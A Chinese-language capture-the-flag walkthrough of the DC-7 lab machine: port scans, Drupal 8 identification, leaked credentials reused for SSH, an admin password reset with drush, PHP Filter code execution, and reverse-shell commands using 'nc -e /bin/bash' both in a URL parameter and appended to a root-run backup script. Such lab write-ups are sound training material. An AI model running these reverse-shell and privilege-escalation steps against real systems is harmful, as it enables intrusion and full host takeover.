DC-7
author:leadlife
data:2023/5/18
blog:https://tripse.github.io/
本次测试使用到的工具如下:
- 信息收集:nmap、fscan、cmseek、searchsploit
- 获取 SHELL:无
- 暴力破解:无
- FUZZ:无
- 辅助工具:无
- 权限提升:无
外部信息收集
Nmap ICMP 扫描发现主机
本地靶机 IP为 10.10.10.137
sudo nmap -sP 10.10.10.0/24 -T4 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 18:08 CST
Nmap scan report for 10.10.10.137
Host is up (0.00015s latency).
MAC Address: 08:00:27:05:5E:F0 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.254
Host is up (0.00045s latency).
MAC Address: 00:50:56:EF:7D:81 (VMware)
Nmap scan report for 10.10.10.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 0.34 seconds
Fsacn 探测开放端口
sudo fscan -h 10.10.10.137 -t 30 -p 0-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 10.10.10.137 is alive
[*] Icmp alive hosts len is: 1
10.10.10.137:22 open
10.10.10.137:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://10.10.10.137 code:200 len:8703 title:Welcome to DC-7 | D7
Nmap 进行详细端口扫描
sudo nmap -sS -sV -O -T4 --min-rate 10000 -sC 10.10.10.137 -oN namp.all
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 18:10 CST
Nmap scan report for 10.10.10.137
Host is up (0.00026s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 d002e9c75d9532ab10998984343d1ef9 (RSA)
| 256 d0d64035a734a90a7934eea96addf48f (ECDSA)
|_ 256 a855d57693ed4f6ff1f7a1842fafbbe1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-title: Welcome to DC-7 | D7
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 08:00:27:05:5E:F0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds
判断 CMS
来到 DC7 Web 页面,可以看到 CMS 位 Drupal
CMSeek 判断 CMS 版本
searchsploit 搜寻 cms 版本漏洞
可以看到 drupal 8 version 存在代码执行
获取 SHELL
MSF 漏洞利用尝试
失败,其他 exp 均以尝试
再次信息收集
发现主页存在一些信息:
总结如下:
- DC-7 这个靶机存在一些 “新” 的渗透概念
- 不建议使用暴力破解,很可能失败
- think outside,即跳出该盒子的思维
我们可以观察到一个特殊的版权信息:
Google 全网检索一下关键字:
得到两个关键检索
该 Github repo 很可能是源代码,download 下来看看:
得到信息,与 DC-7 靶机验证,即为该靶机的 web 源码,如此思路如下:
- 拿到 web 后台账户密码
- 利用后台进行 GetSHELL
1:拿到 web 后台账户密码
2:利用后台进行 GetSHELL
来到后台,该 URL 为登陆页面:http://10.10.10.137/user/login
登陆失败,转换思路:尝试密码复用去登陆 ssh
成功登陆
内部信息收集
内核与发行版
SUID
其中 exim4 可尝试提权
SUDO
no sudo
dc7user@dc-7:~$ sudo -l
-bash: sudo: command not found
降权
来到 home 目录发现如下文件:
backups:备份文件
mbox:内容看着像一个定时备份,但是失败而保存的邮件
查看定时任务:
无任何发现
查看 /var/mail/ 文件,得到一个文件路径:/opt/scripts/backups.sh
backups.sh 内容如下:
回头分析 /var/mail
中邮件的时间,则可得知
- 该脚本会在某一段时间自动执行且以 root 权限运行
- 虽然我们没有找到定时任务其中的内容(无权限进入),且对该文件没有权限去读写,但仍然可以操作
/var/www/html
下源码来到 Web 后台,通过后台 GetSHELL,拿到 www-data 的 SHELL,从而修改该文件内容获取 root shell
拿到账号密码,登入后台:
仍然失败,到这里思路就断了,继续信息收集:
通过查看
/opt/scripts/backups.sh
内容,我们得到如下信息:
drush sql-dump --result-file=/home/dc7user/backups/website.sql
发现了 drush,利用它可修改 drupal cms 后台的账号密码:
若用户不存在会报错,所以可以直接测试任意用户:
来到后台:
GetSHELL 过程
思路
-
安装 PHP Filter 模块:本地下载上传
https://www.drupal.org/project/php/releases/8.x-1.x-dev
-
修改页面内容,则可操作 php 代码
来到 Extent 开启 php filter:
拉到最下面点击 INSTALL
安装完后返回 Content 编辑内容,即可添加 PHP 代码
操作反弹 SHELL:
本地监听:
nc -lvnp 1234
反弹:
http://10.10.10.137/node/5?cmd=nc%20-e%20/bin/bash%2010.10.10.1%201234
优化 SHELL
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
权限提升
修改定时脚本文件提权
www-data@dc-7:/opt/scripts$ echo "nc -e /bin/bash 10.10.10.1 4321" >> backups.sh
本地监听:
leadlife@endeavrouOS ~/p/DC7 [1]> nc -lvnp 4321
等待回弹即可,最后却没有回弹,这里可参考网上 writeup,应当是执行环境有问题,且执行过程中验证了某些东西